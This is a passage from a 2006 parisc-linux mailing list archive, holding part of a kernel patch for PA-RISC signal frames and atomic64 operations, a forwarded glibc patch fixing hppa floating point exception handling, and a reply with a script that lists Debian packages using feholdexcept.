+ * Userspace can read the hidden structure if it *wants* but is never
+ * guaranteed to be in the same place. Infact the uc_sigmask from the
+ * ucontext_t structure may push the hidden register file downards
+ */
+struct compat_regfile {
+        /* Upper half of all the 64-bit registers that were truncated
+           on a copy to a 32-bit userspace */
+        compat_int_t rf_gr[32];
+        compat_int_t rf_iasq[2];
+        compat_int_t rf_iaoq[2];
+        compat_int_t rf_sar;
+};
+
+#define COMPAT_SIGRETURN_TRAMP 4
+#define COMPAT_SIGRESTARTBLOCK_TRAMP 5
+#define COMPAT_TRAMP_SIZE (COMPAT_SIGRETURN_TRAMP + \
+				COMPAT_SIGRESTARTBLOCK_TRAMP)
+
+struct compat_rt_sigframe {
+        /* XXX: Must match trampoline size in arch/parisc/kernel/signal.c
+                Secondary to that it must protect the ERESTART_RESTARTBLOCK
+                trampoline we left on the stack (we were bad and didn't
+                change sp so we could run really fast.) */
+        compat_uint_t tramp[COMPAT_TRAMP_SIZE];
+        compat_siginfo_t info;
+        struct compat_ucontext uc;
+        /* Hidden location of truncated registers, *must* be last. */
+        struct compat_regfile regs;
+};
+
+/*
+ * The 32-bit ABI wants at least 48 bytes for a function call frame:
+ * 16 bytes for arg0-arg3, and 32 bytes for magic (the only part of
+ * which Linux/parisc uses is sp-20 for the saved return pointer...)
+ * Then, the stack pointer must be rounded to a cache line (64 bytes).
+ */
+#define SIGFRAME32              64
+#define FUNCTIONCALLFRAME32     48
+#define PARISC_RT_SIGFRAME_SIZE32 (((sizeof(struct compat_rt_sigframe) + FUNCTIONCALLFRAME32) + SIGFRAME32) & -SIGFRAME32)
+
 void sigset_32to64(sigset_t *s64, compat_sigset_t *s32);
 void sigset_64to32(compat_sigset_t *s32, sigset_t *s64);
 int do_sigaltstack32 (const compat_stack_t __user *uss32, 
diff --git a/arch/parisc/mm/init.c b/arch/parisc/mm/init.c
index 720287d..9e03227 100644
--- a/arch/parisc/mm/init.c
+++ b/arch/parisc/mm/init.c
@@ -792,8 +792,6 @@ map_hpux_gateway_page(struct task_struct
 EXPORT_SYMBOL(map_hpux_gateway_page);
 #endif
 
-extern void flush_tlb_all_local(void);
-
 void __init paging_init(void)
 {
 	int i;
@@ -802,7 +800,7 @@ void __init paging_init(void)
 	pagetable_init();
 	gateway_init();
 	flush_cache_all_local(); /* start with known state */
-	flush_tlb_all_local();
+	flush_tlb_all_local(NULL);
 
 	for (i = 0; i < npmem_ranges; i++) {
 		unsigned long zones_size[MAX_NR_ZONES] = { 0, 0, 0 };
diff --git a/include/asm-generic/atomic.h b/include/asm-generic/atomic.h
index 0fada8f..42a95d9 100644
--- a/include/asm-generic/atomic.h
+++ b/include/asm-generic/atomic.h
@@ -35,7 +35,7 @@ static inline void atomic_long_set(atomi
 {
 	atomic64_t *v = (atomic64_t *)l;
 
-	atomic_set(v, i);
+	atomic64_set(v, i);
 }
 
 static inline void atomic_long_inc(atomic_long_t *l)
diff --git a/include/asm-parisc/atomic.h b/include/asm-parisc/atomic.h
index 2ca56d3..a168690 100644
--- a/include/asm-parisc/atomic.h
+++ b/include/asm-parisc/atomic.h
@@ -1,9 +1,12 @@
+/* Copyright (C) 2000 Philipp Rumpf <prumpf@tux.org>
+ * Copyright (C) 2006 Kyle McMartin <kyle@parisc-linux.org>
+ */
+
 #ifndef _ASM_PARISC_ATOMIC_H_
 #define _ASM_PARISC_ATOMIC_H_
 
 #include <linux/config.h>
 #include <asm/system.h>
-/* Copyright (C) 2000 Philipp Rumpf <prumpf@tux.org>.  */
 
 /*
  * Atomic operations that C can't guarantee us.  Useful for
@@ -46,15 +49,6 @@ extern raw_spinlock_t __atomic_hash[ATOM
 #  define _atomic_spin_unlock_irqrestore(l,f) do { local_irq_restore(f); } while (0)
 #endif
 
-/* Note that we need not lock read accesses - aligned word writes/reads
- * are atomic, so a reader never sees unconsistent values.
- *
- * Cache-line alignment would conflict with, for example, linux/module.h
- */
-
-typedef struct { volatile int counter; } atomic_t;
-
-
 /* This should get optimized out since it's never called.
 ** Or get a link error if xchg is used "wrong".
 */
@@ -69,10 +63,9 @@ extern unsigned long __xchg64(unsigned l
 #endif
 
 /* optimizer better get rid of switch since size is a constant */
-static __inline__ unsigned long __xchg(unsigned long x, __volatile__ void * ptr,
-                                       int size)
+static __inline__ unsigned long 
+__xchg(unsigned long x, __volatile__ void * ptr, int size)
 {
-
 	switch(size) {
 #ifdef __LP64__
 	case 8: return __xchg64(x,(unsigned long *) ptr);
@@ -129,7 +122,13 @@ __cmpxchg(volatile void *ptr, unsigned l
 				    (unsigned long)_n_, sizeof(*(ptr))); \
   })
 
+/* Note that we need not lock read accesses - aligned word writes/reads
+ * are atomic, so a reader never sees unconsistent values.
+ *
+ * Cache-line alignment would conflict with, for example, linux/module.h
+ */
 
+typedef struct { volatile s32 counter; } atomic_t;
 
 /* It's possible to reduce all atomic operations to either
  * __atomic_add_return, atomic_set and atomic_read (the latter
@@ -217,5 +216,59 @@ static __inline__ int atomic_read(const 
 #define smp_mb__before_atomic_inc()	smp_mb()
 #define smp_mb__after_atomic_inc()	smp_mb()
 
+#ifdef __LP64__
+
+typedef struct { volatile s64 counter; } atomic64_t;
+
+#define ATOMIC64_INIT(i) { (i) }
+
+static __inline__ int 
+__atomic64_add_return(s64 i, atomic64_t *v)
+{
+	int ret;
+	unsigned long flags;
+	_atomic_spin_lock_irqsave(v, flags);
+
+	ret = (v->counter += i);
+
+	_atomic_spin_unlock_irqrestore(v, flags);
+	return ret;
+}
+
+static __inline__ void 
+atomic64_set(atomic64_t *v, s64 i) 
+{
+	unsigned long flags;
+	_atomic_spin_lock_irqsave(v, flags);
+
+	v->counter = i;
+
+	_atomic_spin_unlock_irqrestore(v, flags);
+}
+
+static __inline__ s64 
+atomic64_read(const atomic64_t *v)
+{
+	return v->counter;
+}
+
+#define atomic64_add(i,v)	((void)(__atomic64_add_return( ((s64)i),(v))))
+#define atomic64_sub(i,v)	((void)(__atomic64_add_return(-((s64)i),(v))))
+#define atomic64_inc(v)		((void)(__atomic64_add_return(   1,(v))))
+#define atomic64_dec(v)		((void)(__atomic64_add_return(  -1,(v))))
+
+#define atomic64_add_return(i,v)	(__atomic64_add_return( ((s64)i),(v)))
+#define atomic64_sub_return(i,v)	(__atomic64_add_return(-((s64)i),(v)))
+#define atomic64_inc_return(v)		(__atomic64_add_return(   1,(v)))
+#define atomic64_dec_return(v)		(__atomic64_add_return(  -1,(v)))
+
+#define atomic64_add_negative(a, v)	(atomic64_add_return((a), (v)) < 0)
+
+#define atomic64_inc_and_test(v) 	(atomic64_inc_return(v) == 0)
+#define atomic64_dec_and_test(v)	(atomic64_dec_return(v) == 0)
+
+#endif /* __LP64__ */
+
 #include <asm-generic/atomic.h>
-#endif
+
+#endif /* _ASM_PARISC_ATOMIC_H_ */
diff --git a/include/asm-parisc/compat_rt_sigframe.h b/include/asm-parisc/compat_rt_sigframe.h
deleted file mode 100644
index 81bec28..0000000
--- a/include/asm-parisc/compat_rt_sigframe.h
+++ /dev/null
@@ -1,50 +0,0 @@
-#include<linux/compat.h>
-#include<linux/compat_siginfo.h>
-#include<asm/compat_ucontext.h>
-
-#ifndef _ASM_PARISC_COMPAT_RT_SIGFRAME_H
-#define _ASM_PARISC_COMPAT_RT_SIGFRAME_H
-
-/* In a deft move of uber-hackery, we decide to carry the top half of all
- * 64-bit registers in a non-portable, non-ABI, hidden structure.
- * Userspace can read the hidden structure if it *wants* but is never
- * guaranteed to be in the same place. Infact the uc_sigmask from the 
- * ucontext_t structure may push the hidden register file downards
- */
-struct compat_regfile {
-	/* Upper half of all the 64-bit registers that were truncated
-	   on a copy to a 32-bit userspace */
-	compat_int_t rf_gr[32];
-	compat_int_t rf_iasq[2];
-	compat_int_t rf_iaoq[2];
-	compat_int_t rf_sar;
-};
-
-#define COMPAT_SIGRETURN_TRAMP 4
-#define COMPAT_SIGRESTARTBLOCK_TRAMP 5 
-#define COMPAT_TRAMP_SIZE (COMPAT_SIGRETURN_TRAMP + COMPAT_SIGRESTARTBLOCK_TRAMP)
-
-struct compat_rt_sigframe {
-	/* XXX: Must match trampoline size in arch/parisc/kernel/signal.c 
-	        Secondary to that it must protect the ERESTART_RESTARTBLOCK
-		trampoline we left on the stack (we were bad and didn't 
-		change sp so we could run really fast.) */
-	compat_uint_t tramp[COMPAT_TRAMP_SIZE];
-	compat_siginfo_t info;
-	struct compat_ucontext uc;
-	/* Hidden location of truncated registers, *must* be last. */
-	struct compat_regfile regs; 
-};
-
-/*
- * The 32-bit ABI wants at least 48 bytes for a function call frame:
- * 16 bytes for arg0-arg3, and 32 bytes for magic (the only part of
- * which Linux/parisc uses is sp-20 for the saved return pointer...)
- * Then, the stack pointer must be rounded to a cache line (64 bytes).
- */
-#define SIGFRAME32		64
-#define FUNCTIONCALLFRAME32	48
-#define PARISC_RT_SIGFRAME_SIZE32					\
-	(((sizeof(struct compat_rt_sigframe) + FUNCTIONCALLFRAME32) + SIGFRAME32) & -SIGFRAME32)
-
-#endif
diff --git a/include/asm-parisc/compat_signal.h b/include/asm-parisc/compat_signal.h
deleted file mode 100644
index 6ad02c3..0000000
--- a/include/asm-parisc/compat_signal.h
+++ /dev/null
@@ -1,2 +0,0 @@
-/* Use generic */
-#include <asm-generic/compat_signal.h>
diff --git a/include/asm-parisc/compat_ucontext.h b/include/asm-parisc/compat_ucontext.h
index a1228a3..2f7292a 100644
--- a/include/asm-parisc/compat_ucontext.h
+++ b/include/asm-parisc/compat_ucontext.h
@@ -1,8 +1,7 @@
 #ifndef _ASM_PARISC_COMPAT_UCONTEXT_H
 #define _ASM_PARISC_COMPAT_UCONTEXT_H
 
-#include<linux/compat.h>
-#include<asm/compat_signal.h>
+#include <linux/compat.h>
 
 /* 32-bit ucontext as seen from an 64-bit kernel */
 struct compat_ucontext {
diff --git a/include/asm-parisc/rt_sigframe.h b/include/asm-parisc/rt_sigframe.h
index 5623c03..f0dd3b3 100644
--- a/include/asm-parisc/rt_sigframe.h
+++ b/include/asm-parisc/rt_sigframe.h
@@ -1,10 +1,6 @@
 #ifndef _ASM_PARISC_RT_SIGFRAME_H
 #define _ASM_PARISC_RT_SIGFRAME_H
 
-#ifdef CONFIG_COMPAT
-#include <asm/compat_rt_sigframe.h>
-#endif

From - Thu Nov 08 21:34:19 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [Fwd: [patch/hppa] Floating point exception handling
	patch]
Date: Mon, 16 Jan 2006 07:38:36 +0800
Lines: 147
Approved: news@gmane.org
Message-ID: <43CADCFC.60802@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="------------060606010200030503080808"
X-Trace: ger.gmane.org 1416623991 17931 80.91.229.3 (22 Nov 2014 02:39:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:51 +0000 (UTC)
To: parisc-linux <parisc-linux@lists.parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:28 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 15 Jan 2006 23:38:53 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx018) with SMTP; 16 Jan 2006 00:38:53 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 770CD7D692;
	Sun, 15 Jan 2006 16:38:47 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24360-01; Sun, 15 Jan 2006 16:38:46 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A2E687D683;
	Sun, 15 Jan 2006 16:38:45 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 287B57D680
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 15 Jan 2006 16:38:43 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23567-08 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 15 Jan 2006 16:38:42 -0700 (MST)
Original-Received: from mailhub.stlglobal.com (ip127.bb146.pacific.net.hk
	[202.64.146.127])
	by free.linux.hp.com (Postfix) with ESMTP id F13177D64E
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 15 Jan 2006 16:38:41 -0700 (MST)
Original-Received: from localhost ([127.0.0.1])
	by mailhub.stlglobal.com with esmtp (Exim 4.50) id 1EyHSG-00028G-Nm
	for parisc-linux@lists.parisc-linux.org; Mon, 16 Jan 2006 07:38:36 +0800
User-Agent: Debian Thunderbird 1.0.2 (X11/20050331)
X-Accept-Language: en-us, en
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: Wbi4Y1ZMeSEkYL6WZHQhaXN1IGRvb8DN
Status: R
X-Status: NT
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23375

This is a multi-part message in MIME format.
--------------060606010200030503080808
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit

FYI - James asked me to forward this to the parisc-linux m-l too.

randolph

-------- Original Message --------
Subject: [patch/hppa] Floating point exception handling patch
Date: Sun, 15 Jan 2006 16:44:50 +0800
From: Randolph Chung <randolph@tausq.org>
To: submit@bugs.debian.org
CC: 342545@bugs.debian.org,  debian-hppa@lists.debian.org

Package: glibc
Version: 2.3.5-11
Severity: important
Tags: patch

The attached patch fixes a problem with floating point exception
handling on hppa. This affects packages that use feholdexcept and
fesetenv, such as uic from QT. This patch fixes #342545. Carlos is on
vacation now - I'll ask him to merge this upstream when he returns,
meanwhile perhaps somebody can roll a new glibc package for debian?

randolph



--------------060606010200030503080808
Content-Type: text/plain;
 name="glibc235-hppa-fpu.dpatch"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="glibc235-hppa-fpu.dpatch"

#! /bin/sh -e

# DP: Description: hppa floating point exception handling fix
# DP: Related bugs: Debian #342545
# DP: Dpatch author: Randolph Chung <tausq@debian.org>
# DP: Patch author: Randolph Chung <tausq@debian.org>
# DP: Upstream status: Pending
# DP: Status Details: to be merged by Carlos
# DP: Date: Sun, 15 Jan 2006

PATCHLEVEL=1

if [ $# -ne 2 ]; then
    echo >&2 "`basename $0`: script expects -patch|-unpatch as argument"
    exit 1
fi
case "$1" in
    -patch) patch -d "$2" -f --no-backup-if-mismatch -p$PATCHLEVEL < $0;;
    -unpatch) patch -d "$2" -f --no-backup-if-mismatch -R -p$PATCHLEVEL < $0;;
    *)
	echo >&2 "`basename $0`: script expects -patch|-unpatch as argument"
	exit 1
esac
exit 0

# append the patch here and adjust the -p? flag in the patch calls.
diff -uNr glibc-2.3.5/sysdeps/hppa/fpu.orig/fegetenv.c glibc-2.3.5/sysdeps/hppa/fpu/fegetenv.c
--- glibc-2.3.5/sysdeps/hppa/fpu.orig/fegetenv.c	2006-01-14 10:17:19.000000000 -0800
+++ glibc-2.3.5/sysdeps/hppa/fpu/fegetenv.c	2006-01-14 10:19:08.000000000 -0800
@@ -27,10 +27,7 @@
   unsigned long long buf[4], *bufptr = buf;
 
   __asm__ (
-	   "fstd,ma %%fr0,8(%1)\n"
-	   "fstd,ma %%fr1,8(%1)\n"
-	   "fstd,ma %%fr2,8(%1)\n"
-	   "fstd %%fr3,0(%1)\n"
+	   "fstd %%fr0,0(%1)\n"
 	   : "=m" (buf), "+r" (bufptr));
   memcpy (envp, buf, sizeof (*envp));
   return 0;
diff -uNr glibc-2.3.5/sysdeps/hppa/fpu.orig/feholdexcpt.c glibc-2.3.5/sysdeps/hppa/fpu/feholdexcpt.c
--- glibc-2.3.5/sysdeps/hppa/fpu.orig/feholdexcpt.c	2006-01-14 10:17:19.000000000 -0800
+++ glibc-2.3.5/sysdeps/hppa/fpu/feholdexcpt.c	2006-01-14 10:20:21.000000000 -0800
@@ -30,10 +30,7 @@
   /* Store the environment.  */
   bufptr = clear.buf;
   __asm__ (
-	   "fstd,ma %%fr0,8(%1)\n"
-	   "fstd,ma %%fr1,8(%1)\n"
-	   "fstd,ma %%fr2,8(%1)\n"
-	   "fstd %%fr3,0(%1)\n"
+	   "fstd %%fr0,0(%1)\n"
 	   : "=m" (clear), "+r" (bufptr));
   memcpy (envp, &clear.env, sizeof (fenv_t));
 
@@ -47,10 +44,7 @@
   /* Load the new environment. */
   bufptr = clear.buf;
   __asm__ (
-	   "fldd,ma 8(%0),%%fr0\n"
-	   "fldd,ma 8(%0),%%fr1\n"
-	   "fldd,ma 8(%0),%%fr2\n"
-	   "fldd 0(%0),%%fr3\n"
+	   "fldd 0(%0),%%fr0\n"
 	   : : "r" (bufptr), "m" (clear));
 
   return 0;
diff -uNr glibc-2.3.5/sysdeps/hppa/fpu.orig/fesetenv.c glibc-2.3.5/sysdeps/hppa/fpu/fesetenv.c
--- glibc-2.3.5/sysdeps/hppa/fpu.orig/fesetenv.c	2006-01-14 10:17:19.000000000 -0800
+++ glibc-2.3.5/sysdeps/hppa/fpu/fesetenv.c	2006-01-14 10:20:44.000000000 -0800
@@ -34,10 +34,7 @@
      we want to use from the environment specified by the parameter.  */
   bufptr = temp.buf;
   __asm__ (
-	   "fstd,ma %%fr0,8(%1)\n"
-	   "fstd,ma %%fr1,8(%1)\n"
-	   "fstd,ma %%fr2,8(%1)\n"
-	   "fstd %%fr3,0(%1)\n"
+	   "fstd %%fr0,0(%1)\n"
 	   : "=m" (temp), "+r" (bufptr));
 
   temp.env.__status_word &= ~(FE_ALL_EXCEPT
@@ -56,9 +53,6 @@
   /* Load the new environment. */
   bufptr = temp.buf;
   __asm__ (
-	   "fldd,ma -8(%1),%%fr3\n"
-	   "fldd,ma -8(%1),%%fr2\n"
-	   "fldd,ma -8(%1),%%fr1\n"
 	   "fldd 0(%1),%%fr0\n"
 	   : "=m" (temp), "+r" (bufptr));
 



--------------060606010200030503080808
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--------------060606010200030503080808--



From - Thu Nov 08 21:34:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [Fwd: [patch/hppa] Floating point exception
	handling patch]
Date: Sun, 15 Jan 2006 23:22:12 -0700
Lines: 74
Approved: news@gmane.org
Message-ID: <20060116062212.GC22048@colo.lackof.org>
References: <43CADCFC.60802@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623992 17935 80.91.229.3 (22 Nov 2014 02:39:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:52 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: Randolph Chung <randolph@tausq.org>
Original-X-From: - Wed Jul 02 21:27:28 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 16 Jan 2006 06:13:32 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx062) with SMTP; 16 Jan 2006 07:13:32 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 272227D672;
	Sun, 15 Jan 2006 23:12:58 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26912-05; Sun, 15 Jan 2006 23:12:58 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1AC5D7D673;
	Sun, 15 Jan 2006 23:12:57 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5A30A7D671
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 15 Jan 2006 23:12:54 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26912-02 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 15 Jan 2006 23:12:53 -0700 (MST)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id A944B7D66F
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 15 Jan 2006 23:12:53 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id B90A336000E;
	Sun, 15 Jan 2006 23:22:12 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29607-04; Sun, 15 Jan 2006 23:22:12 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 5E74E360001; Sun, 15 Jan 2006 23:22:12 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <43CADCFC.60802@tausq.org>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 2ly5Y9BgeSEkTL6WZHQhaXN1IGRvb8Ct
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23376

On Mon, Jan 16, 2006 at 07:38:36AM +0800, Randolph Chung wrote:
> This affects packages that use feholdexcept and
> fesetenv, such as uic from QT.

It's not a very long list.  I hacked the following short script
to search a local mirror I have access to.
Output from this script is appended at the end:

#!/bin/sh
#find -name \*.tar.gz 

find pool -name \*.tar.gz | while read i
do
x=`tar xzf $i -O | fgrep feholdexcept > /dev/null`
if [ $? -eq 0 ]
then
        echo $i
fi
done

[ In a related discussion, Randolph Chung noted "&& echo $i" would work.
  I guess that would probably be a more efficient than "if [ $? -eq ...". 
  But I didn't want to restart the script to find out.
]

Obviously there are some false positives (e.g. lg-issue40 and manpages).

enjoy,
grant

pool/contrib/x/xmovie/xmovie_1.9.orig.tar.gz
pool/main/f/fpc/fpc_1.9.4.orig.tar.gz
pool/main/f/fpc/fpc_2.0.0.orig.tar.gz
pool/main/g/gccchecker/gccchecker_0.9.9.1.20011205.orig.tar.gz
pool/main/g/gnulib/gnulib_0.0.20051110.orig.tar.gz
pool/main/h/helpviewer.app/helpviewer.app_0.3.orig.tar.gz
pool/main/h/hercules/hercules_3.0.2.orig.tar.gz
pool/main/h/hercules/hercules_3.03.1.orig.tar.gz
pool/main/l/lg-issue40/lg-issue40_1.orig.tar.gz
pool/main/l/lg-issue40/lg-issue40_2.orig.tar.gz
pool/main/l/lsbappchk/lsbappchk_1.3.4.orig.tar.gz
pool/main/m/manpages/manpages_1.39.orig.tar.gz
pool/main/m/manpages/manpages_1.70.orig.tar.gz
pool/main/m/manpages/manpages_2.17.orig.tar.gz
pool/main/m/manpages-es/manpages-es_1.55.orig.tar.gz
pool/main/m/manpages-fr/manpages-fr_0.9.3.orig.tar.gz
pool/main/m/manpages-fr/manpages-fr_1.58.1.orig.tar.gz
pool/main/m/manpages-fr/manpages-fr_1.67.0.orig.tar.gz
pool/main/m/manpages-ja/manpages-ja_0.4.0.0.20020315.orig.tar.gz
pool/main/m/manpages-ja/manpages-ja_0.5.0.0.20050315.orig.tar.gz
pool/main/m/manpages-ja/manpages-ja_0.5.0.0.20051115.orig.tar.gz
pool/main/m/manpages-pl/manpages-pl_20020406.orig.tar.gz
pool/main/m/manpages-pl/manpages-pl_20051117.orig.tar.gz
pool/main/m/manpages-pl/manpages-pl_20050320.orig.tar.gz
pool/main/o/openmcl/openmcl_0.10.1.orig.tar.gz
pool/main/o/openmcl/openmcl_0.14.2.p1.o.tar.gz
pool/main/p/pspp/pspp_0.3.0.orig.tar.gz
pool/main/p/pspp/pspp_0.4.0.orig.tar.gz
pool/main/p/portmidi/portmidi_20041117.orig.tar.gz
pool/main/q/qt-x11-free/qt-x11-free_3.3.4.orig.tar.gz
pool/main/q/qt-x11-free/qt-x11-free_3.3.5.orig.tar.gz
pool/main/q/qt4-x11/qt4-x11_4.1.0.orig.tar.gz
pool/main/q/qt4-x11/qt4-x11_4.0.1.orig.tar.gz
pool/main/t/tcc/tcc_0.9.23.orig.tar.gz
pool/main/u/uclibc/uclibc_0.9.27.orig.tar.gz
pool/non-free/m/manpages-posix/manpages-posix_1.67-3.tar.gz
pool/non-free/m/manpages-posix/manpages-posix_2.16-1.tar.gz

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] __LP64__ / CONFIG_64BIT?
Date: Mon, 16 Jan 2006 11:40:54 -0500
Lines: 22
Approved: news@gmane.org
Message-ID: <20060116164054.GB4049@quicksilver.road.mcmartin.ca>
References: <43CA9FF8.5070405@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623992 17939 80.91.229.3 (22 Nov 2014 02:39:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:52 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:28 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 16 Jan 2006 16:42:13 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
